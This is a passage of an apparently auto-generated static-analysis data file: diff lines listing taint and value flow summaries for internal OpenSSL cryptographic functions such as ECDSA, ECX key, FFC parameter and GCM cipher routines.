*,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*5]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdh_simple_compute_key", "(unsigned char **,size_t *,const EC_POINT *,const EC_KEY *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_deterministic_sign", "(const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_sign", "(int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_setup", "(EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_setup", "(EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_sig", "(const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_sig", "(const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ecdsa_simple_sign_sig", "(const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ecdsa_simple_verify_sig", "(const unsigned char *,int,const ECDSA_SIG *,EC_KEY *)", "", "Argument[*3].Field[**group].Field[**order]", "Argument[*2].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecdsa_verify", "(int,const unsigned char *,int,const unsigned char *,int,EC_KEY *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_compute_key", "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)", "", "Argument[*0].Field[*pubkey]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_compute_key", "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)", "", "Argument[*1].Field[**privkey]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_compute_key", "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)", "", "Argument[*1].Field[*privkey]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_compute_key", "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)", "", "Argument[2]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_allocate_privkey", "(ECX_KEY *)", "", "Argument[*0].Field[**privkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_allocate_privkey", "(ECX_KEY *)", "", "Argument[*0].Field[*privkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_dup", "(const ECX_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ecx_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_fromdata", "(ECX_KEY *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*haspubkey]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_new", "(OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_op", "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_op", "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_op", "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_op", "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_set0_libctx", "(ECX_KEY *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ecx_key_set0_libctx", "(ECX_KEY *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ed25519_public_from_private", "(OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed25519_sign", "(uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed448_pubkey_verify", "(const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed448_pubkey_verify", "(const uint8_t *,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed448_public_from_private", "(OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ed448_sign", "(OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_encode_der_dsa_sig", "(WPACKET *,const BIGNUM *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_encode_der_dsa_sig", "(WPACKET *,const BIGNUM *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_encode_der_integer", "(WPACKET *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_encoder_get_number", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_encoder_parsed_properties", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[**parsed_propdef]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_encoder_parsed_properties", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[*parsed_propdef]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_engine_table_select", "(ENGINE_TABLE **,int,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_epki2pki_der_decode", "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_epki2pki_der_decode", "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_evp_pkey_get1_ED25519", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_ED25519", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_ED448", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_ED448", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_X25519", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_X25519", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_X448", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_evp_pkey_get1_X448", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[2]", "Argument[*4].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[2]", "Argument[*4].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[2]", "Argument[*4].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[3]", "Argument[*4].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[3]", "Argument[*4].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_generate_private_key", "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)", "", "Argument[3]", "Argument[*4].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_keylength", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[*keylength]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_name", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_name", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_q", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[**q]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_q", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[*q]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_get_uid", "(const DH_NAMED_GROUP *)", "", "Argument[*0].Field[*uid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_named_group_set", "(FFC_PARAMS *,const DH_NAMED_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_2_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_2_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_2_validate", "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*1].Field[**q].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*1].Field[**q].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*1].Field[**q].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_gen_verify", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[4]", "Argument[*1].Field[**q].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[4]", "Argument[*1].Field[**q].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[4]", "Argument[*1].Field[**q].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_generate", "(OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_FIPS186_4_validate", "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *,BN_GENCB *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_copy", "(FFC_PARAMS *,const FFC_PARAMS *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_enable_flags", "(FFC_PARAMS *,unsigned int,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_fromdata", "(FFC_PARAMS *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_full_validate", "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get0_pqg", "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get_validate_params", "(const FFC_PARAMS *,unsigned char **,size_t *,int *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get_validate_params", "(const FFC_PARAMS *,unsigned char **,size_t *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get_validate_params", "(const FFC_PARAMS *,unsigned char **,size_t *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_get_validate_params", "(const FFC_PARAMS *,unsigned char **,size_t *,int *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ffc_params_set0_j", "(FFC_PARAMS *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**j]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_j", "(FFC_PARAMS *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*j]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**p]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**q]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[**g]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*p]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*q]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set0_pqg", "(FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*g]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_flags", "(FFC_PARAMS *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_gindex", "(FFC_PARAMS *,int)", "", "Argument[1]", "Argument[*0].Field[*gindex]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_h", "(FFC_PARAMS *,int)", "", "Argument[1]", "Argument[*0].Field[*h]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_pcounter", "(FFC_PARAMS *,int)", "", "Argument[1]", "Argument[*0].Field[*pcounter]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_seed", "(FFC_PARAMS *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_seed", "(FFC_PARAMS *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_seed", "(FFC_PARAMS *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*seedlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_validate_params", "(FFC_PARAMS *,const unsigned char *,size_t,int)", "", "Argument[*1]", "Argument[*0].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_validate_params", "(FFC_PARAMS *,const unsigned char *,size_t,int)", "", "Argument[1]", "Argument[*0].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_validate_params", "(FFC_PARAMS *,const unsigned char *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*seedlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_set_validate_params", "(FFC_PARAMS *,const unsigned char *,size_t,int)", "", "Argument[3]", "Argument[*0].Field[*pcounter]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_simple_validate", "(OSSL_LIB_CTX *,const FFC_PARAMS *,int,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_todata", "(const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[])", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_params_validate_unverifiable_g", "(BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *)", "", "Argument[*2]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "ossl_ffc_params_validate_unverifiable_g", "(BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *)", "", "Argument[*4]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_ffc_params_validate_unverifiable_g", "(BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_set_digest", "(FFC_PARAMS *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**mdname]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_set_digest", "(FFC_PARAMS *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**mdprops]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_set_digest", "(FFC_PARAMS *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*mdname]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_set_digest", "(FFC_PARAMS *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*mdprops]", "value", "dfc-generated"] + - ["", "", True, "ossl_ffc_validate_private_key", "(const BIGNUM *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_validate_public_key", "(const FFC_PARAMS *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ffc_validate_public_key_partial", "(const FFC_PARAMS *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_fnv1a_hash", "(uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_fnv1a_hash", "(uint8_t *,size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_aad_update", "(PROV_GCM_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*gcm].Field[*ares]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[*1]", "Argument[*0].Field[*gcm].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[*1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*gcm].Field[*Xn]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*gcm].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*gcm].Field[*Xn]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_cipher_update", "(PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[*ivlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[*ivlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_ghash_4bit", "(u64[2],const u128[16],const u8 *,size_t)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_ghash_4bit", "(u64[2],const u128[16],const u8 *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_ghash_4bit", "(u64[2],const u128[16],const u8 *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[*0].Field[**libctx]", "Argument[*1].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[*0].Field[*libctx]", 